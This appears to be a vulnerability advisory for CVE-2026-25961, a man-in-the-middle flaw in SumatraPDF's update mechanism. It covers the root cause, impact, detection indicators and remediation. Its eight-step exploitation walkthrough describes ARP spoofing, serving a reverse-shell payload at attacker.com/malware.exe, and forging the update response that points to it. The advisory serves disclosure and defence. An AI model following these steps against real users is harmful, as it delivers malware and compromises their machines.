CVE-2026-25961: 
SumatraPDF vulnerability analysis and mitigation

CVE-2026-25961 is a man-in-the-middle (MITM) vulnerability in SumatraPDF's update mechanism that allows network attackers to achieve arbitrary code execution by injecting malicious installer URLs. It affects SumatraPDF versions 3.5.0 through 3.5.2 on Windows, with all versions since commit 0e78d53ec (February 27, 2023) considered vulnerable. The vulnerability was published on February 9, 2026, and a security advisory was issued by the project maintainer on the same date. It carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, Feedly).

The root cause is a combination of CWE-295 (Improper Certificate Validation) and CWE-494 (Download of Code Without Integrity Check). In src/utils/HttpUtil.cpp, the HttpGet() function sets the INTERNET_FLAG_IGNORE_CERT_CN_INVALID WinINet flag, which disables TLS hostname (CN/SAN) verification while leaving CA chain and expiry checks intact — meaning any certificate signed by a trusted CA (e.g., a Let's Encrypt certificate for attacker.com) is accepted for any hostname. The update check at src/UpdateCheck.cpp:538 uses this function, and the returned dlURL field is accepted without domain validation (src/UpdateCheck.cpp:149); the downloaded installer is then executed via CreateProcessHelper() at src/UpdateCheck.cpp:299 without any signature or hash verification. A public PoC is available on GitHub demonstrating the full attack chain using mitmproxy (GitHub Advisory, PoC GitHub).

Successful exploitation results in arbitrary code execution with the privileges of the user running SumatraPDF, as the attacker-supplied executable runs without any restrictions. All SumatraPDF users with auto-update enabled or who manually check for updates are affected, encompassing confidentiality, integrity, and availability impacts. The attacker-controlled process could be used for credential theft, data exfiltration, persistence establishment, or lateral movement within the victim's network (GitHub Advisory).

Public proof-of-concept exploit code is available on GitHub, including a detailed PoC repository and an entry on Exploit-DB (EDB-52535), making the vulnerability well-documented and reproducible (PoC GitHub, Feedly). Exploitation requires a network MITM position, a valid TLS certificate from any trusted CA, and user interaction (clicking "Install" on the update dialog). As of the time of reporting, there is no evidence of in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is 0.013% (0.000130), indicating currently low predicted exploitation probability (Feedly).

1. Obtain MITM position: Position yourself on the network path between the target and the internet (e.g., via ARP spoofing on a local network, rogue Wi-Fi access point, or compromised network infrastructure).
2. Acquire a valid TLS certificate: Obtain any valid TLS certificate from a trusted CA (e.g., a free Let's Encrypt certificate for an attacker-controlled domain such as attacker.com).
3. Set up interception proxy: Deploy mitmproxy (or equivalent) configured to intercept HTTPS traffic and present the attacker's certificate. Import the proxy CA into the Windows Trusted Root CA store if simulating in a lab environment.
4. Prepare malicious payload: Compile or obtain a malicious Windows executable (e.g., a reverse shell or dropper) to serve as the fake installer.
5. Host the malicious installer: Run an HTTPS server (e.g., python poc_server.py) serving the malicious executable at a URL like https://attacker.com/malware.exe.
6. Intercept the update check: When the victim opens SumatraPDF and triggers "Help → Check for Updates" (or auto-update fires), the application requests https://www.sumatrapdfreader.org/update-check-rel.txt. The proxy intercepts this, presents the attacker's certificate (CN mismatch is ignored due to INTERNET_FLAG_IGNORE_CERT_CN_INVALID), and returns a forged response such as Installer64: https://attacker.com/malware.exe with a spoofed high version number (e.g., 99999).
7. Trigger user interaction: SumatraPDF displays a legitimate-looking update dialog showing a new version is available. The download URL is never shown to the user.
8. Achieve code execution: When the user clicks "Install and relaunch," SumatraPDF downloads and executes malware.exe via CreateProcessHelper() without any signature verification, resulting in arbitrary code execution as the current user (GitHub Advisory, PoC GitHub).

• Network: Outbound HTTPS requests from the SumatraPDF process to www.sumatrapdfreader.org for update checks that are intercepted or redirected; subsequent connections to unexpected or unknown domains for installer downloads; TLS certificate CN/SAN mismatches in network inspection logs for update-check traffic.
• Process: Unexpected child processes spawned by SumatraPDF.exe or SumatraPDF-installer.exe (e.g., cmd.exe, powershell.exe, calc.exe, reverse shell binaries); installer executables executed from temporary directories (%TEMP%, %APPDATA%) that are not signed by the legitimate SumatraPDF publisher.
• File System: Unsigned or unexpectedly signed .exe files downloaded to the user's temp directory during an update operation; new executables or scripts created shortly after a SumatraPDF update check event.
• Logs: Windows Event Logs (Security/Application) showing process creation events where the parent is SumatraPDF.exe and the child is an unexpected binary; Windows Defender or AV alerts triggered by the downloaded payload (GitHub Advisory).

The recommended remediation is to upgrade SumatraPDF to version 3.5.3 or later, which addresses both the TLS hostname verification bypass and the missing installer signature check (GitHub Advisory). If immediate patching is not feasible, disable automatic updates and advise users not to manually trigger update checks. As a network-level control, restrict outbound update traffic to www.sumatrapdfreader.org and enforce TLS inspection at the perimeter to detect certificate anomalies. The suggested code-level fixes include removing INTERNET_FLAG_IGNORE_CERT_CN_INVALID from HttpGet(), validating download URLs against an allowlist of trusted domains, and calling IsPEFileSigned() on downloaded installers before execution (GitHub Advisory).

The vulnerability was reported by security researcher haaeein and published by SumatraPDF maintainer kjk via a GitHub Security Advisory on February 9, 2026 (GitHub Advisory). A technical write-up was published at infinitsec.net shortly after disclosure, and the vulnerability received coverage from The Hacker Wire and was discussed on Bluesky (Feedly). The exploit was subsequently added to Exploit-DB (EDB-52535) in a later period, indicating continued community interest.